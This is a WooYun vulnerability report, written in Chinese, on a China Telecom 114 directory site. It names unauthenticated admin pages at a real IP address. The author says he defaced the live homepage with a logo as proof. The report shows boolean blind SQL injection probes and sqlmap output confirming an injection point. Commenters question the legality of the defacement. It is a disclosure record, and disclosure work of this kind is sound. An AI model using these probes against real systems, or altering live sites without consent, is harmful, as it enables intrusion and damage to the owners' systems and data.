当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-061507

漏洞标题：中国电信114号码百事通一处越权+sql盲注之第八蛋

相关厂商：中国电信

漏洞作者： Mosuan

提交时间：2014-05-20 00:21

修复时间：2014-05-25 00:21

公开时间：2014-05-25 00:21

漏洞类型：未授权访问/权限绕过

危害等级：高

自评Rank：12

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-05-20： 细节已通知厂商并且等待厂商处理中
2014-05-25： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

呵呵

详细说明：

首页貌似被我插logo插坏了........
越权

http://122.224.8.3/admin/ADedit.aspx
http://122.224.8.3/admin/knowledge.aspx


以下插入wooyun的logo做证明
地址

http://122.224.8.3/Default_20080624.aspx


.jpg


2.jpg


一处sql盲注

http://122.224.8.3/nbb/wiki.aspx?wid=3034%20and%201=1


返回正常

and 1=1.jpg


http://122.224.8.3/nbb/wiki.aspx?wid=3034%20and%201=2


返回错误

and 1=2.jpg


[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 21:32:32
[21:32:32] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\122.224.8.3\session' as session file
[21:32:32] [INFO] resuming back-end DBMS 'oracle' from session file
[21:32:32] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: wid
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: wid=3034 AND 2979=2979
---
[21:32:33] [INFO] the back-end DBMS is Oracle
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Oracle
[21:32:33] [WARNING] schema names are going to be used on Oracle for enumeration
 as the counterpart to database names on other DBMSes
[21:32:33] [INFO] fetching database (schema) names
[21:32:33] [INFO] fetching number of databases
[21:32:33] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[21:32:33] [INFO] retrieved:
[21:32:37] [ERROR] unable to retrieve the number of databases
[21:32:37] [INFO] falling back to current database
[21:32:37] [INFO] fetching current database
[21:32:37] [INFO] retrieved:
[21:32:43] [CRITICAL] unable to retrieve the database names
[21:32:43] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 10 times


跑不出数据库，确实存在注入点.....有点无奈....前面的漏洞求审核！

漏洞证明：

详细说明

修复方案：

呵呵你们懂的！！

版权声明：转载请注明来源 Mosuan@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-05-25 00:21

厂商回复：

最新状态：

暂无

漏洞评价：

评论

  1. 2014-05-25 01:30 | 魇 ( 普通白帽子 | Rank:1207 漏洞数:104 | 传闻中魇是一个惊世奇男子，但是除了他华...)

    插入乌云的logo ..这？@疯狗 法律允许吗

  2. 2014-05-25 09:49 | Mosuan ( 普通白帽子 | Rank:449 漏洞数:175 | 尘封此号，不装逼了，再见孩子们。by Mosua...)

    @魇 我只想知道为什么他老是忽略漏洞？为什么？

  3. 2014-05-26 18:47 | PythonPig ( 普通白帽子 | Rank:491 漏洞数:71 | 只会简单工具的小小菜)

    @Mosuan 最近cncert为什么老是忽略~~~